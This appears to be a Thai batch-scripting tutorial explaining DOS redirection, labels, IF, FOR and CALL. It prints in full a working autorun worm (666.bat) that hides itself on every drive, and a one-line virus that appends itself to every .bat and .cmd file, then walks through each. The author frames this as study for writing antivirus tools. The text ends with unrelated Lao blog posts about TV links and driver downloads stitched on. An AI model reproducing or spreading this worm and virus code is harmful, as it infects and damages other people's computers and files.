1. | "เชื่อมต่อ" คำสั่งนี้เป็นคำสั่งไปป์ตัวจริงใช้เชื่อมคำสั่ง DOS 2 คำสั่งให้ทำงานพร้อมกัน 2 คำสั่งอย่างมากเท่าที่ทำงานมา) แต่คำสั่งนี้ทำงานได้ตั้งแต่ DOS 5 เป็นต้นมาแต่มีข้อเสียคือถ้าจะใช้คำสั่งนี้...ห้ามใช้กับอุปกรณ์ ROM เช่น CD-ROM กล่าวคือคำสั่งต้องอาศัย Temporary ในการทำงานจึงไม่สามารถทำงานกับอุปกรณ์ที่ป้องกันการเขียนได้
2. > "ยิงออก" คำสั่งนี้เป็นคำสั่งส่งผลหน้าจอภาพไปยังอุปกรณ์ทั้ง 5
3. >> "ยิงเพิ่ม" คำสั่งนี้เป็นคำสั่งส่งผลหน้าจอภาพเพิ่มเติมจาก "ยิงออก" ไปยังอุปกรณ์ทั้ง 5
4. < "รับเข้า" คำสั่งนี้เป็นคำสั่งส่งผลจากคำสั่งด้านหลังเข้ามา
5. & "และคำสั่ง" (ใช้ในวินโดวส์ XP ขึ้นไป) เนื่องจาก XP สามารถเขียนคำสั่ง DOS หลายคำสั่งในบรรทัดเดียวกันได้...(บางคนไม่รู้) และคำสั่งที่ใช้ในการเชื่อมต่อคำสั่งเหล่านั้นคือ (คำสั่งDOS) & (คำสั่งDOS) & (คำสั่งDOS)
ตัวอย่างคำสั่งที่น่าสนใจ
COPY CON A.BAT (หมายถึง "คัดลอกอุปกรณ์ CON ในชื่อ A.BAT")
พิมพ์คำสั่งลงไป...เพราะนี้คือแป้นรับคำสั่งแบบ Notepad แต่มันกลับไปแก้ไขบรรทัดบนไม่ได้...จบการทำงานด้วย Ctrl+Z
TYPE A.BAT >PRN (หมายถึง "พิมพ์ข้อความ A.BAT ไปที่ เครื่องพิมพ์")
มาดูการเขียนหนอนคอมพิวเตอร์กันซะเลย...
:: นี้คือแบทช์ไฟล์หนอนคอมพิวเตอร์ที่ทำงานบนวินโดวส์ 98 , วินโดวส์ Me และ วินโดวส์ XP
:: ส่งผลให้ทุกไดร์ฟของระบบติด Autorun.INF พร้อมแนบแฟ้ม 666.bat ซึ่งเป็นหนอนไปด้วย
:: หนอนนี้จะทำงานต่อเมื่อมีคนดับเบิ้ลคลิ๊กที่ไดร์ฟที่ติดหนอน...มันจึงเริ่มทำงานในทันที
@echo off
:: คำสั่งนี้คือการซ่อนบรรทัดคำสั่ง Command Line บนดอสไม่ให้แสดงการทำงาน
if not "%1"=="" goto Interface
:: คำสั่งนี้ไว้ตรวจสอบว่ามีการเรียกใช้ลูปการค้นหาไดร์ฟหรือไม่ถ้ามีจะไปที่ตำแหน่งติดเชื้อ
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do call %0 %%d
:: วนการทำงานจนกว่าครบทุกไดร์ฟ...และทำการเรียกตัวเองขึ้นมาโดยส่งข้อมูลเป็นชื่อไดร์ฟ
Start .
:: เข้าสู่หน้าต่างวินโดวส์ตามปกติ...เพื่อไม่ให้ผิดสังเกต
goto endbat
:: ไปที่ตำแหน่งสุดท้าย...เพราะหมดคำสั่งควบคุม
:Interface
:: นี้คือตำแหน่งเริ่มต้นติดเชื้อ
type 666.bat >%1:\666.bat
:: คัดลอกแฟ้ม 666.bat ซึ่งเป็นหนอนไปยังทุกไดร์ฟที่พบ
attrib +s +h +r %1:\666.bat > nul
:: กำหนดให้แฟ้มหนอน 666.bat เป็นแฟ้มระบบและซ่อนตัวและห้ามเขียน
attrib -r -h -s %1:\autorun.inf>nul
:: กำหนดคุณสมบัติของ Autorun.inf ถ้าพบจะแก้ให้เป็นแฟ้มปกติเขียนได้
echo [autorun] > %1:\autorun.inf
:: ส่งข้อความ [autorun] ไปยังแฟ้ม Autorun.inf เพื่อสร้างคำสั่งหนอน
echo shellexecute=666.bat >>%1:\autorun.inf
:: ส่งข้อความต่อท้ายในอีกบรรทัด shellexcute=666.bat เพื่อเรียกหนอนทำงานเมื่อ Autorun
attrib +s +h +r %1:\autorun.inf > nul
:: กำหนดให้แฟ้ม Autorun.inf เป็นแฟ้มระบบและซ่อนตัวและห้ามเขียน
:endbat
:: สิ้นสุดคำสั่งหนอน
จำแนกคำสั่งที่สำคัญในแบทช์ไฟล์...
1. คำสั่ง @ (คำสั่งซ่อนบรรทัดคอมมานด์ไลน์) คำสั่งนี้ ใช้กำหนดหน้าคำสั่ง Echo Off ซึ่งก็ทำงานเหมือนกับคำสั่งนี้เช่นกันแต่ คำสั่ง Echo Off จะไม่มีผลต่อคำสั่งของมันเอง...จึงต้องอาศัยคำสั่ง @ นำหน้าอีกทีเพื่อซ่อนบรรทัดคอมมานด์ไลน์อีกที แต่ถ้าภายในคำสั่งของ แบทช์ไฟล์มีบรรทัดที่น้อยมาก ก็อาจจะใช้ @ นำหน้าคำสั่งเหล่านั้นได้เลยเพื่อให้ประหยัดเนื้อที่คำสั่ง เช่น
@cls
@dir /as /s
หรือ
@echo off
cls
dir /as /s
2. คำสั่ง : (คำสั่งกำหนดตำแหน่งของชุดคำสั่ง) คำสั่งนี้คือการกำหนด ลาเบล (Label) หรือตำแหน่งของชุดคำสั่งดอสแต่ละคำสั่ง ซึ่งบางครั้ง อาจใช้กำหนดลูปการทำงานของชุดคำสั่งในแบทไฟล์เพื่อให้ทำงานแบบไม่มีวันหยุด เช่น
@echo off
:loop
:: ตำแหน่งเริ่มต้น
echo Loop Command
:: แสดงข้อความ
pause
:: รอรับคีย์บอร์ดใดๆ
goto Loop
:: วนกลับไปที่ตำแหน่งเริ่มต้น
สำหรับ :: (คำสั่งนี้ไม่มีในตำราใดๆ ครับ) เพราะเป็นการประยุกต์ใช้ คำสั่ง : แต่ทำการซ้อนกัน 2 ตัว เพื่อให้มันไม่ถูกเรียกใช้งานจากแบทช์ไฟล์ จึงมีค่าเท่ากับคำสั่ง REM (Remark หรือ หมายเหตุ) คำสั่งนี้ถูกประยุกต์ใช้งานในคู่มือการสอนเขียนแบทช์ไฟล์ในยุคแรกๆ มาตั้งนานแล้ว...เช่น
:: นี้คือหมายเหตุ
หรือ
rem นี้คือหมายเหตุ
3. คำสั่ง goto (คำ สั่งย้ายการทำงานไปยังลาเบลที่กำหนด) คำสั่งนี้มีผลต่อลาเบลที่อยู่ภายในแบทไฟล์นั้น...และในวินโดวส์เอ็กซ์พี นี้สามารถกำหนดให้มันรับอากิวเมนต์ของคำสั่ง IF ERRORLEVEL ได้ด้วย (ดูเงื่อนไขใน Help ของ ดอส) ในคำสั่ง : ที่ผ่านมาตำแหน่งถูกต้อง แต่ถ้าชื่อของตำแหน่งไม่ถูกต้อง เช่น
:loop
:: กำหนดตำแหน่งวนคำสั่ง
@echo Loop Command
:: แสดงข้อความเมื่อวนการทำงาน
@goto Looop
:: ไปยังตำแหน่ง Looop ซึ่งไม่มีอยู่ในคำสั่ง
@echo Error Me
:: คำสั่งนี้จะไม่สามารถทำงานได้
จากตัวอย่างคำสั่งของแบทช์ไฟล์ไม่สามารถทำงานได้สมบรูณ์ เพราะคำสั่ง Looop นั้นไม่มีอยู่เนื่องจากผู้เขียนเติม o (โอ) เพิ่มเข้าไปอีกตัวจึงทำให้อ่านตำแหน่งผิดพลาด เป็นผลให้คำสั่งที่ต่อท้ายลงมาไม่สามารถทำงานได้ แต่คำสั่ง goto นั้นมีข้อดีตรงที่ไม่แยกแยะตัวพิมพ์เล็กหรือพิมพ์ใหญ่ เช่น
:LooP
:: กำหนดตำแหน่งวนการทำงานเป็นตัวพิมพ์เล็กและพิมพ์ใหญ่
@echo Loop Command
:: แสดงข้อความเมื่อวนการทำงาน
@goto loop
:: ไปยังตำแหน่ง LooP โดยไม่สนใจตัวพิมพ์เล็กหรือพิมพ์ใหญ่
หมายเหตุ หากคำสั่งของแบทช์ไฟล์ทำงานไม่หยุด...ให้คุณกด {Ctrl+Break} เพื่อหยุดการทำงานของมัน
4. คำสั่ง if not "%1" == "" ทำคำสั่ง (คำสั่งตัดสินใจ ถ้า พารามิเตอร์ที่ 1 ไม่ มีตัวอักษร ให้ทำ) คำสั่งนี้จะใช้ต่อเมื่อต้องการดูว่าพารามิเตอร์ที่ต่อท้ายแฟ้มแบทช์ไฟล์มี หรือไม่ เช่น สมมุติให้แฟ้มแบทช์ไฟล์นี้ชื่อ test.bat
C:\>test command1
หมายถึง ส่งคำว่า command1 ไปประมวลผลในแฟ้มชื่อ test.bat และคำสั่งนั้นคือ %1 และหากสมมุติว่า เว้นวรรค และพิมพ์ command2 ต่อท้าย command1 ดูตัวอย่าง
C:\>test command1 command2
คำว่า command2 จะถูกเรียกว่า พารามิเตอร์ที่ 2 แทนด้วย %2 ในทันที ซึ่งในแบทไฟล์นั้นสามารถรับได้สูงสุด 9 พารามิเตอร์ คือ %1 ถึง %9 ซึ่งก็มากดพอดู แต่หากแบทช์ไฟล์ของคุณต้องการพารามิเตอร์ที่มากกว่านั้น คงต้องศึกษาคำสั่ง shift เพิ่มเติมใน Help บนดอสของวินโดวส์เอ็กซ์พีกันอีกที
กลับมาที่ if not "%1" == "" (ให้ทำ) ว่ามันทำงานอย่างไร ในคำสั่ง If นั้นมีกิ่งก้านสาขาของคำสั่งที่มากครับ...ผมเองก็ไม่สามารถนำมาอธิบายให้ได้หมด...แต่ถ้าต้องการศึกษาให้ลึกซึ้งคงต้องพึ่งพา Help กันนะครับ...ทีนี้มาดูซิว่าทำไม่ if "%1" == "" (ให้ทำ) หรือ if not "%1" == "" (ให้ทำ) ถึงต้องมีเครื่องหมาย "" (อัญประกาศ) กำหนดพารามิเตอร์ที่ 1 ทั้งนี้ทั้งนั้นเป็นเพราะว่า if %1 == (ให้ทำ) จะเห็นว่าชุดคำสั่งไม่สมบรูณ์ ถ้าบอกดอสให้ทราบว่า %1 นั้นต้องการเปรียบเทียบกับอะไรอยู่ เพราะ ถ้าคุณเว้นว่างเอาไว้เฉยๆ จะทำให้ดอสทำงานผิดพลาดนั้นเอง ซึ่งโดยปกติแล้ว if %1 == %2 (ให้ ทำ) จะสามารถเปรียบเทียบกันได้ทันที...โดยไม่ต้องระบุเครื่องหมายอัญประกาศหรือ เครื่องหมายอื่นๆ นำหน้ามันเพราะ แบทช์ไฟล์เป็นภาษาสคริปที่ประมวลข้อความ (การประมวลผลการคำนวนนั้นเพิ่งจะเริ่มมีในวินโดวส์เอ็กซ์พีเป็นต้นมา) จากตัวอย่างพอจะอธิบายออกมาเป็นรูปแบบดังนี้
@if "%1" == "" echo มีการกำหนดพารามิเตอร์ที่ 1
:: ถ้าพารามิเตอร์ที่ 1 ไม่มีข้อความแสดงข้อความ
@if not "%1" = "" echo ไม่มีการกำหนดข้อความ
:: ถ้าพารามเตอร์ไม่มีข้อความแสดงข้อความผิดพลาด
หรือ
@if "%1" == "" (echo กรุณาระบุข้อความ ) else (echo ข้อความคือ %1)
:: เงื่อนไขนี้ใช้บนวินเอ็กซ์พีขึ้นไปเพราะดอสรุ่นเก่าๆ ไม่สามารถกำหนดเงื่อนไขแบบนี้ได้
อย่าง ไรก็ดี...ผมก็อยากจะบอกน้องๆ นักศึกษาที่ไม่ได้เรียนรู้ภาษาคอมพิวเตอร์มาก่อนหรืออาจจะเคยเรียนแต่ยังไม่ คล่องเกี่ยวกับเงื่อนไขการคำนวนของภาษาคอมพิวเตอร์ว่า ... คำสั่ง IF... ELSE ... นั้น เป็นหัวใจสำคัญของทุกๆ ภาษาในการเขียนโปรแกรมคอมพิวเตอร์ ฉนั้น...ควรทำความเข้าใจอย่างมากในการศึกษาเงื่อนไขของคำสั่งนี้...ไม่ใช่ เพื่อการเขียนไวรัสเท่านั้น...แต่มันเป็นเงื่อนไขสำคัญในการเขียนโปรแกรมฆ่า ไวรัสด้วย...คำสั่งนี้คำสั่งเดียวสามารถทำให้โปรแกรมมีขนาดยาวหรือสั้นหรือ ทำงานได้รวดเร็วกว่า ผู้ที่เขียนโปรแกรมด้วยกัน
5. คำสั่ง for %%ตัวแปร in (ชุดข้อมูล) do ทำคำสั่ง (สำหรับ %%ตัวแปร จาก ชุดข้อมูล ทำ คำสั่ง) คำสั่งนี้มีไว้สำหรับการประมวลผลแบบหลายข้อมูลภายในคำสั่งเดียว เช่น
@for %%l in (bat vbs js) do dir *.%%l
:: สำหรับ ตัวแปร l ให้ dir แฟ้มนามสกุล *.bat, *.vbs และ *.js
จะเป็นการทำงานกับหลายแฟ้มหรือหลายๆ ชุดข้อมูล โดยต้องเว้นวรรค ขั้นแต่ละชุดข้อมูลเอาไว้ และใช้ตัวแปร %%l ซึ่งต้องมีเครื่องหมาย %% นำหน้าเพื่อบ่งบอกว่าเป็นตัวแปรที่มาจากชุดคำสั่ง for ถ้าไม่บ่งบอกให้ถูกหลักอาจจะทำให้คำสั่งทำงานผิดพลาดอย่างมาก มาดูตัวอย่างอีกตัวอย่างเพื่อความกระจ่างอีกที เช่น
@for %%d in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do if exist %%d:\autorun.inf echo %%d: Werning!
:: สำหรับตัวแปร d ถ้าพบแฟ้ม (ตัวแปร d แทนไดร์ฟข้อมูล):\autorun.inf แสดงข้อความเตือน (ตัวแปร d แทนไดร์ฟข้อมูล): Werning!
ซึ่ง รูปแบบของคำสั่ง...ไม่มีอะไรซับซ้อน...เพียงแต่ต้องอ้างถึงรูปแบบของตัวแปร ให้ถูกต้อง...ก็สามารถทำงานได้ตามเป้าหมาย สำหรับเงื่อนไขของคำสั่ง FOR เชิงลึก คือ FOR /F และ เงื่อนไขอื่นๆ นั้นผมไม่ขออธิบายเพราะมันจะทำให้หนังสือเล่มนี้ดูเป็นหนังสือเชิงอ้าง อิง...ซึ่งผมไม่ตั้งใจให้เป็นเช่นนั้น เพราะวัตถุประสงค์ของผมต้องการให้ผู้อ่าน ปฏิบัติและทดลองและเพื่อกระตุ้นการศึกษาค้นคว้าเพิ่มเติมต่อไป...จึงย้ำอีก ทีว่าหนังสือเล่มนี้...เป็นเชิงปฏิบัติการณ์
6. คำสั่ง call %0 %%d (เรียกใช้แบทไฟล์ที่ทำงานอยู่ พร้อมส่งตัวแปรไปยังพารามิเตอร์ที่ 1) คำสั่งนี้จะทำให้แบทไฟล์เกิดการทำงานแบบ Overflow หรือ Error ได้ เนื่องจาก ถ้าเขียนคำสั่งควบคุมนี้ไม่เป็นมันจะส่งผลให้หน่วยความเต็มได้...หรือเกิด การวนการทำงานของแบทไฟล์แบบไม่มีวันจบ เหมือนกับคำสั่ง goto เพียงแต่คำสั่งนี้จะส่งผลโดยตรงต่อหน่วยความจำ เช่น
@echo Me Activeting...
:: แสดงข้อความว่ากำลังทำงาน
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงานอีก
จาก ตัวอย่าง คำสั่งดังกล่าวจะทำงานแบบไม่มีวันจบ...รอจนกว่า ระบบปฏิบัติการณ์จะแสดงข้อความผิดพลาดในเรื่องการจัดการหน่วยความจำ หรือโปรแกรมอาจทำให้เครื่องค้างไปเลย จึงต้องระวังอย่างมากในการอ้างถึง %0 หรือ พารามิเตอร์ หลัก คือ ชื่อแฟ้มคำสั่งนั้นเอง ซึ่งโดยปกติแล้ว...จะไม่มีโปรแกรมแบทช์ไฟล์ใดอ้างถึงชื่อแฟ้มคำสั่งเพื่อมา ประมวลผล...นอกเสียจากเป็น "มัลแวร์" หรือ "คำสั่งฆ่ามัลแวร์" จึงต้องแยกแยะให้ดีหากจะเขียนโปรแกรมฆ่าไวรัสจำพวกนี้....
มาดูตัวอย่างเพื่อทำความเข้าใจเกี่ยวกับการใช้คำสั่ง Call กันอีกตัวอย่าง เช่น
@echo Me Activeting...
:: แสดงข้อความ
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงาน
@%0
:: กระโดดการทำงานไปยังแฟ้มที่เรียกใช้ คือ แฟ้มนี้ (คำสั่งนี้ไม่มีโอกาสได้ทำงาน)
จากตัวอย่าง ดูเหมือนว่า คำสั่งน่าจะทำงานแบบสิ้นสุด...แต่ไม่สิ้นสุดเพราะว่า คำสั่ง call จะถูกเรียกใช้ก่อน ทุกๆ ครั้งที่รันแบทซ์ไฟล์ จึงทำให้คำสั่ง %0 นั้น ไม่สามารถทำงานได้...ในเครื่องที่ผมทดลองคือระบบปฏิบัติการวินโดวส์เอ็กซ์พี นั้น...มันจะแสดงหน้าต่างขึ้นมาสักพักและจะปิดตัวลง แต่ถ้าเรามาเขียนในทางกลับกัน เช่น
@echo Me Activeting...
:: แสดงข้อความ
@%0
:: กระโดดการทำงานไปยังแฟ้มที่เรียกใช้ คือ แฟ้มนี้
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงาน (คำสั่งนี้ไม่มีโอกาสได้ทำงาน)
จากตัวอย่าง คำสั่งนี้จะไม่ปิดตัวเองลงไป...เพราะมันทำงานคล้ายคำสั่ง goto ส่ง ผลให้หน่วยความจำไม่ได้ถูกใช้ไปมากและการวนลูปการทำงานก็ยังดำเนินต่อไป อย่างไม่สิ้นสุด แต่ถ้าเราเพิ่มคำสั่งจัดการมันให้เต็มรูปแบบด้วยเงื่อนไข...จะทำให้มันทำงาน ได้อย่างราบรื่น เช่น
@echo Me Activeting...Parameter is %1
:: ถ้าไม่มีพารามิเตอร์ ใดๆ จะแสดงข้อความ Me Activeting...Parameter is
@if "%1" == "" %0 Again
:: ถ้าพารามิเตอร์ว่าง จะส่งคำว่า Again เป็นพารามิเตอร์ (และกระโดดการทำงานไปโดยไม่สนใจคำสั่ง ด้านล่าง)
@if "%1" == "Again" Call %0 End
:: ถ้าพารามิเตอร์เป็น Again จะเรียกแฟ้มนี้ใหม่ ส่งคำว่า End เป็น พารามิเตอร์ และจบการทำงานเพราะ ไม่มีเงือนไขการตัดสินใจ
เอา ล่ะ...มาถึงตอนนี้ก็พอจะรู้เกี่ยวกับคำสั่งที่จำเป็นหมดแล้ว...เหลือแต่การ ประยุกต์คำสั่งดอสทั้งหมดมาเขียนเป็นมัลแวร์ ซึ่งไม่มีใครสามารถบอกได้หลอกว่า หนอนของใครเจ๋ง หรือไวรัสของใครร้ายกาจ เพราะมันไม่ใช่วัตถุประสงค์ของหนังสือเล่มนี้... ผู้เขียน เผยแพร่คำสั่งเหล่านี้เพื่อให้พวกคุณเป็น นักทดลองที่รู้ทั้งวิธีการทำงานของมันและวิธีป้องกันมันอย่างเต็มตัวเพราะ การศึกษาเครื่องมือฆ่าคน หรือ วิชาชีพบางวิชาชีพนั้น...ก็ต้องศึกษาทั้งที่ไปที่มาของการแก้ปัญหาทั้งสิ้น หากจะเป็นวิสัญญีแพทย์ชั้นหนึ่ง...ไม่จำเป็นต้องลงมือฆ่าคน...แต่ต้องเรียน รู้จากคนที่โดนฆ่าหรือตายไปแล้ว...เพื่อเข้าใจหลักการตายและหลักการรักษาและ ป้องกันอย่างดี เช่นกันครับ...หนอนคอมพิวเตอร์ที่ได้ยกตัวอย่างไปนั้น...ขอให้นึกซะ ว่า...เป็นครูใหญ่ของพวกคุณแล้วกัน
อาวุธอันร้ายกาจไม่ใช่หนอน...แต่เป็นไวรัส!
เอา ล่ะ...คุณหลายคนอาจจะอ่านเนื้อหาตอนต้นซึ่งเป็นนิยามต่างๆ ทางคอมพิวเตอร์กันบ้างแล้ว...แต่ตอนนี้มาทำการแยกแยะกันด้วยรูปแบบของคำสั่ง ว่า..."อะไรกันคือหนอนคอมพิวเตอร์ และอะไรคือไวรัสคอมพิวเตอร์" เริ่มเลย...
%virus%@echo off&cd\&for /r %%f in (*.bat *.cmd) do ((findstr "virus" "%%f">nul)&(if errorlevel 1 (echo.>>"%%f"&findstr "virus" "%0">>"%%f" ))) ตัวอย่างด้านบนนี้ แหละ...คือคำสั่งอันร้ายกาจ หรือเรียกมันว่า "ไวรัสคอมพิวเตอร์" เพียงบรรทัดเดียวมันสามารถทำให้คุณทึ่งกับการทำงานของมัน เพราะอะไร...ทำให้มันมีอะไรที่พิเศษกว่าหนอนคอมพิวเตอร์คือ
1. มันสามารถแทรกคำสั่งไวรัสคอมพิวเตอร์ไปยังหนอนคอมพิวเตอร์ได้เสียด้วย (โอ้...เป็นปาราสิตที่อาศัยหนอนคอมพิวเตอร์เป็นพาหะนำโรคได้ด้วย)
2. มัน สามารถติดเชื้อแฟ้มคำสั่งที่ไม่ใช้หนอนคอมพิวเตอร์ได้ด้วยตัวของมัน เอง...ไม่พึ่งพาใคร...ส่งผลให้แฟ้มที่ติดไวรัสเป็นพาหะนำโรคอีกต่อหนึ่งและ ยังไม่สามารถกำจัดมันได้โดยง่าย...เพราะมันเป็นส่วนหนึ่งในคำสั่งเหล่านั้น
3. ไวรัสคอมพิวเตอร์ต้องใช้ทักษะทางคอมพิวเตอร์ที่สูงกว่าหนอนคอมพิวเตอร์ในด้านโครงสร้าง เพราะ "มัน คือชุดคำสั่งที่สามารถจำลองชุดคำสั่งไวรัสไปยังเป้าหมายได้โดยไม่ส่งผลกระทบ ต่อเป้าหมายเพื่อฝั่งชุดคำสั่งนั้นและรอการแพร่เชื้อชุดคำสั่งนั้นต่อไป"
อธิบายกันให้กระจ่างอีกที...?
สมมุต ว่าเครื่องของคุณติดหนอนคอมพิวเตอร์ คือ 666.bat ในทุกๆ ไดร์ฟ แต่ถ้าเกิดมีไวรัสคอมพิวเตอร์ต่อไปนี้ติดเชื้อในเครื่องของคุณด้วยมันจะส่งผลให้แฟ้มคำสั่งของหนอนคอมพิวเตอร์ (666.bat) มีขนาดโตขึ้นตามขนาดของไวรัส เช่น
@echo off
if not "%1"=="" goto Interface
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do call %0 %%d
Start .
goto endbat
:Interface
type 666.bat >%1:\666.bat
attrib +s +h +r %1:\666.bat > nul
attrib -r -h -s %1:\autorun.inf>nul
echo [autorun] > %1:\autorun.inf
echo shellexecute=666.bat >>%1:\autorun.inf
attrib +s +h +r %1:\autorun.inf > nul
:endbat
%virus%@echo off&cd\&for /r %%f in (*.bat *.cmd) do ((findstr "virus" "%%f">nul)&(if errorlevel 1 (echo.>>"%%f"&findstr "virus" "%0">>"%%f"))) ตัวหนังสือเข้ม คือคำสั่งไวรัสที่เพิ่มเข้ามาต่อท้ายคำสั่งของหนอนคอมพิวเตอร์ โดยที่ไวรัสในตัวอย่างนี้ทำงานแบบฉลาดพอที่จะรู้ว่า แฟ้มแบทช์ไฟล์ใด ที่ติดไวรัสแล้ว...หรือแฟ้มแบทช์ไฟล์ใดยังไม่มีการติดไวรัส เมื่อแฟ้มดังกล่าวติดไวรัสแล้ว...จะส่งผลให้...หนอนคอมพิวเตอร์ตัวนี้ไม่ว่า จะติดเชื้อในเครื่องคอมพิวเตอร์เครื่องใดๆ ก็ตามมันจะนำเชื้อไวรัสที่มันติดเชื้ออยู่ไปกับมันด้วย...ส่งผลให้ไวรัส คอมพิวเตอร์สามารถระบาดในทุกๆ เครื่อง...และทุกๆ แฟ้มที่เป็น แบทช์ไฟล์ในเครื่องของคุณ

(ไวรัสนี้ไม่สามารถทำงานใน DOS Mode รุ่นเก่าๆ อย่าง Windows Me ได้) ตัวอย่างนี้ก็มีข้อบกพร่อง อยู่ตรงที่ มันไม่สามารถทำงานใน DOS ระดับพื้นฐานได้ ถ้าหากว่ามันติดเชื้อในแฟ้ม AUTOEXEC.BAT ก็ไม่สามารถทำงานได้ เพราะ AUTOEXEC.BAT นั้นทำงานใน DOS Mode ขั้นพื้นฐานคำสั่งบางคำสั่งของมันไม่สามารถให้บริการบนโหมดนี้

มาแยกชิ้นส่วนของไวรัสเพื่อทำการศึกษากัน...
1. คำสั่ง cd\ (ออกไปยัง Root Directory) คำสั่งนี้เป็นคำสั่งพื้นฐานของดอสอยู่แล้วคงไม่ต้องอธิบายอะไรมาก ถ้าคุณใช้คำสั่ง CD WINDOWS หรือ CD "PROGRAM FILES" เพื่อเข้าไปยัง โฟลเดอร์ต่างๆ จนคุ้นเคย แต่บนวินโดวส์เอ็กซ์พี คำสั่ง CD W* ก็มีค่าเท่ากับ CD WINDOWS เหมือนกัน (เพียงแต่รูปแบบสั้นกว่า ด้วย White Card) และถอยขึ้นมายังรูทไดเร็คทอรี่ 1 ลำดับ ด้วยการ CD.. ซึ่งดูรูปแบบคำสั่งเพิ่มเติมด้วยคำสั่ง CD /?
2. คำสั่ง for /r %%ตัวแปร in (รายการ) do ทำคำสั่ง (สำหรับค้นหาแฟ้มในรายการเพื่อทำคำสั่ง) คำสั่งนี้ใช้งานบนวินโดวส์เอ็กซ์พีขึ้นไป โดยจะแตกต่างจากคำสั่ง FOR แบบธรรมดา ตรงที่มันมีเงื่อนไข /R ซึ่ง เป็นเงื่อนไขที่บ่งบอกให้ตัวแปรที่กำหนดเก็บรายชื่อแฟ้มภายในซับโฟลเดอร์ที่ ทำงานลงไปทุกตัว จึงทำให้การเขียนไวรัสเป็นไปโดยง่ายเพราะ แค่คำสั่งเดียวก็ลิสต์รายชื่อแฟ้มออกมาดีกว่าคำสั่ง DIR เสียอีก เช่น
@for /r %%f in (*.*) do echo %%f
:: แสดงรายชื่อทุกแฟ้มจากโฟลเดอร์ที่ทำงานลงไปยังซับโฟลเดอร์ทั้งหมด
3. คำสั่ง findstr "ข้อความ" แฟ้มข้อมูล (ค้นหาข้อความในแฟ้มข้อมูลที่กำหนด) คำสั่งนี้ใช้งานบนวินโดวส์เอ็กซ์พีขึ้นไปเช่นกัน แต่เดิม คำสั่ง FIND.EXE จะทำหน้าที่นี้อยู่ แต่ในวินโดวส์เอ็กซ์พีได้บรรจุคำสั่งนี้เป็นคำสั่งภายในแล้ว แต่รูปแบบการทำงานจะคล้ายคำสั่ง FIND.EXE ตัวเดิม ซึ่งแต่เดิมคำสั่ง FIND.EXE นั้นในภาษาแอสเซมบลีตอนท้ายคำสั่ง จะมีการเรียกใช้ฟังก์ชั่น
MOV AH,4CH ; เรียกฟักช์ชั่นคืนผลลัพธ์ไปยังดอสและจบการทำงาน
INT 21H ; อินเตอร์รัพต์ของดอสโปรเซส
คำสั่งนี้มีผลทำต่อการคำนวนของแบทซ์ไฟล์คือ IF ERRORLEVEL ค่าของ "AL" ในโปรแกรมที่จบการทำงาน
จะถูกส่งผ่านมาให้คำนวนต่อไป...ซึ่งทุกๆ คำสั่งของดอสนั้นมีทั้งสิ้น...เพียงแต่ไม่มีเอกสารเผยแพร่ออกมาให้เห็นกันเพราะบาง ERROR นั้น ถูกเก็บเป็นความลับของระบบปฏิบัติการ แต่นักเขียนโปรแกรมบางคน ก็ใช่รูปแบบการตัดสิ้นใจแบบง่าย เพื่อดูคำสั่งผิดพลาดนั้นได้ด้วยการไล่ดูทุกๆ ค่า หรือ แค่ดูว่า IF ERRORLEVEL 1 นั้นคือมีข้อผิดพลาดเกิดขึ้นแต่ไม่สนใจว่าผิดพลาดอะไร...
4. คำสั่ง if errorlevel หมาย เลข ทำคำสั่ง (ถ้ามีข้อผิดพลาดในหมายเลขทำตามคำสั่งนั้น) คำสั่งนี้เป็นคำสั่งที่ทำให้ไวรัสฉลาดขึ้นอย่างมากคือ..."ถ้าเกิดข้อผิดพลาด ใดๆ ในการค้นหาข้อความ (virus) ไม่พบ จะติดเชื้อแฟ้มนั้นทันที" ซึ่งเป็นการตัดสินใจที่ชาญฉลาด...เพราะจะทำให้ไวรัสไม่ถูกเขียนซ้ำไปซ้ำมาบน แฟ้มที่ติดเชื้อไวรัส ซึ่งผู้เขียน เอง ศึกษาคำสั่งนี้มานาน...และก็ใช่อย่างคล่องแคล้วในการเขียนโปรแกรมฆ่าไวรัส แต่สำหรับผู้อ่านที่เริ่มศึกษาคำสั่ง แบทช์ไฟล์ ต้องทบทวนคำสั่งนี้เพิ่มเติมใน IF /? ในดอส เพื่อดูรูปแบบของคำสั่งที่แน่นอนรวมทั้งคำสั่งการตัดสินใจในรูปแบบอื่นๆ เพื่อเสริมความเก่งกาจในประสบการณ์ด้านนี้ต่อไป

Datpin TV online

2011-02-15T08:16:00.001-08:00

ເບິ່ງທີວີອອນໄລ

ຊ່ອງ 3	ຊ່ອງ 5	ຊ່ອງ 7
ຊ່ອງ 9	ຊ່ອງ NBT	ຊ່ອງ ASTV
True Music	T channel (ລູກທຸ່ງ)	WEZA (ຊ່ອງເພງ)
Miracle ມິຕິ4	TATV (ທ່ອງທ່ຽວ)	MoneyChannel
Nation Channel	ຊ່ອງ Thai PBS	Gsquare (ເກມສ໌/ເທກ)
ຊ່ອງ ໄທໄຊໂຍ (ລູກທຸ່ງ)	ຊ່ອງ POP	ຊ່ອງ EARTH
ຊ່ອງ CLICK ASIA	ຊ່ອງ ເຟມ (FAME)	ຊ່ອງ ທູແທງໂກ້

Datpin Valantee checker

2011-02-15T08:06:00.000-08:00

ເຊັກປະກັນ ໂນດບຸກ

Credited by A

ເວັບລິງຄ໌ Datpin Download Driver

2011-02-15T07:55:00.000-08:00

Download Driver ACER

Download Driver DELL

Download Driver COMPAQ

Download Driver HP

Download Driver Toshiba

Download Driver Lenovo

Download Driver IBM

Download Driver ASUS

Download Driver BenQ

Download Driver Notebook All

Datpin Valantee checker

2011-02-15T07:49:00.000-08:00

ເຊັກປະກັນ Warranty DELL ມື້ໝົດອາຍຸ DatpinClick

Credit by A

Datpin support link

2011-02-15T07:44:00.000-08:00

ວິທີເຂົ້າໄປ Register Warranty Dell ດ້ວຍຕົນເອງ

1.Click

2.ເມື່ອເຂົ້າໄປແລ້ວ ໃຫ້ເລືອກທີ່ປະເທດໄທນະຄະຮັບ
3. ເມື່ອເລືອກທີ່ປະເທດສຳເລັດແລ້ວຈະຂຶ້ນຂໍ້ຄວາມກ່ຽວກັບ ຂໍ້ສັນຍາຕ່າງ (Retail Purchaser End user Agreement)
